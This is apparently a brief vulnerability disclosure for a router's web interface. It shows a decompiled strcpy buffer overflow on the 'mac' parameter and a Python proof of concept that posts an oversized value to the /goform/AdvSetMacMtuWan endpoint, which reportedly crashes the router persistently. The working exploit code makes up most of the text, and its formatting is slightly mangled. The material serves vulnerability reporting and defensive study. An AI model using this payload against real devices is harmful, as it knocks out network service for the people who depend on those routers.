c v5 = (const char)sub_295C8(a1, "mac", &unk_1C2CF0); strcpy(v13, v5); python import requests url = "http://192.168.20.12/goform/AdvSetMacMtuWan" mac = "A"7000 data = { "mac": mac } r = requests.post(url, data=data) print(r.status_code, r.text) ``` Result The target router crashes and cannot provide services correctly and persistently, as shown in the provided screenshots.